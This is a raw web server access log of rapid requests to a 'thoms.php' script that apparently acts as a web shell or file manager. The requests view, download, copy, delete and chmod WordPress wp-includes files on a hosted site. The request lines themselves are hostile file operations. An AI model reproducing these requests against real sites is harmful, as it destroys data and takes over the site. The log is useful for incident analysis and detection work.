45.135.193.11 - - [11/Sep/2026:23:36:31 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=cron.php HTTP/1.1" 200 22867 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ffeed-rdf.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ffeed-rdf.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:31 -0400] "GET /thoms.php?dl=class-wp-locale.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-locale.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:31 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2Finteractivity-api HTTP/1.1" 200 13342 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2Finteractivity-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:31 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2FSimplePie HTTP/1.1" 200 13128 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2FSimplePie" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:32 -0400] "GET /thoms.php?chmod=abilities-api.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=abilities-api.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:32 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fblock-editor.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fblock-editor.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:32 -0400] "GET /thoms.php?chmod=class-wp-http-proxy.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-proxy.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:31 -0400] "GET /thoms.php?del=block-supports&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=block-supports&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:32 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-object-cache.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-object-cache.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:32 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2Fcustomize HTTP/1.1" 200 19024 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2Fcustomize" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:32 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2FPHPMailer&p= HTTP/1.1" 200 12353 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2FPHPMailer&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:32 -0400] "GET /thoms.php?del=class-wp-network-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=class-wp-network-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:32 -0400] "GET /betcity.com.tw/wp-includes/class-wp-script-modules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:32 -0400] "GET /thoms.php?chmod=class-wp-application-passwords.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=class-wp-application-passwords.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:32 -0400] "GET /thoms.php?chmod=class-wp-http-requests-hooks.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-requests-hooks.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:32 -0400] "GET /thoms.php?dl=category.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=category.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:33 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-term-query.php HTTP/1.1" 200 23461 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-term-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:33 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-theme-json-resolver.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-theme-json-resolver.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:33 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fauthor-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fauthor-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:33 -0400] "GET /thoms.php?dl=admin-bar.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=admin-bar.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:33 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fms-blogs.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fms-blogs.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:33 -0400] "GET /thoms.php?dl=comment.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=comment.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:33 -0400] "GET /thoms.php?dl=media.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59351 "http://163.245.207.76:443/thoms.php?dl=media.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:33 -0400] "GET /betcity.com.tw/wp-includes/registration-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:33 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=post-thumbnail-template.php HTTP/1.1" 200 14718 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=post-thumbnail-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:34 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=registration.php HTTP/1.1" 200 12018 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=registration.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:34 -0400] "GET /thoms.php?chmod=blocks&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=blocks&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:34 -0400] "GET /thoms.php?chmod=images&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=images&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:34 -0400] "GET /thoms.php?chmod=interactivity-api&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=interactivity-api&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:34 -0400] "GET /thoms.php?chmod=class-wp-block-parser-frame.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser-frame.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:34 -0400] "GET /betcity.com.tw/wp-includes/ms-files.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:34 -0400] "GET /thoms.php?chmod=embed.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=embed.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:34 -0400] "GET /betcity.com.tw/wp-includes/pomo/ HTTP/1.1" 200 1268 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:34 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Finteractivity-api&p= HTTP/1.1" 200 12369 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Finteractivity-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:34 -0400] "GET /thoms.php?dl=feed-rss.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=feed-rss.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:34 -0400] "GET /thoms.php?dl=load.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=load.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:34 -0400] "GET /betcity.com.tw/wp-includes/category-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:34 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=category-template.php HTTP/1.1" 200 28731 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=category-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:35 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-admin-bar.php HTTP/1.1" 200 17941 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:35 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fembed.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fembed.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:35 -0400] "GET /thoms.php?chmod=class-json.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=class-json.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:35 -0400] "GET /thoms.php?dl=class-wp-walker.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59432 "http://163.245.207.76:443/thoms.php?dl=class-wp-walker.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:35 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-requests.php HTTP/1.1" 200 12796 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-requests.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:35 -0400] "GET /thoms.php?del=feed-rss2-comments.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59355 "http://163.245.207.76:443/thoms.php?del=feed-rss2-comments.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:35 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-classic-to-block-menu-converter.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-classic-to-block-menu-converter.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:35 -0400] "GET /thoms.php?chmod=class-wp-error.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-wp-error.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:35 -0400] "GET /betcity.com.tw/wp-includes/ms-network.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:35 -0400] "GET /thoms.php?del=class-wp-block-type.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59407 "http://163.245.207.76:443/thoms.php?del=class-wp-block-type.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:36 -0400] "GET /thoms.php?chmod=class-wp-user.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcategory.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcategory.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:35 -0400] "GET /thoms.php?del=class-wp-user-meta-session-tokens.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-user-meta-session-tokens.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:36 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-feed-cache.php HTTP/1.1" 200 12423 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-feed-cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-icons-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-icons-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:36 -0400] "GET /thoms.php?dl=class-wp-block-pattern-categories-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-pattern-categories-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:36 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=rss.php HTTP/1.1" 200 19821 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=rss.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:36 -0400] "GET /betcity.com.tw/wp-includes/load.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:36 -0400] "GET /thoms.php?del=class-wp-term.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59417 "http://163.245.207.76:443/thoms.php?del=class-wp-term.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:36 -0400] "GET /thoms.php?del=nav-menu-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59394 "http://163.245.207.76:443/thoms.php?del=nav-menu-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:37 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=pluggable-deprecated.php HTTP/1.1" 200 14077 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=pluggable-deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:37 -0400] "GET /betcity.com.tw/wp-includes/taxonomy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:37 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=rewrite.php HTTP/1.1" 200 18770 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=rewrite.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:37 -0400] "GET /thoms.php?dl=session.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=session.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:37 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ftemplate-canvas.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ftemplate-canvas.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:37 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=block-editor.php HTTP/1.1" 200 20141 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=block-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:37 -0400] "GET /thoms.php?dl=template-canvas.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59427 "http://163.245.207.76:443/thoms.php?dl=template-canvas.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:37 -0400] "GET /thoms.php?dl=theme.json&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=theme.json&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:37 -0400] "GET /thoms.php?del=user.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=user.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:38 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fblocks.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fblocks.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:38 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block.php HTTP/1.1" 200 21090 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
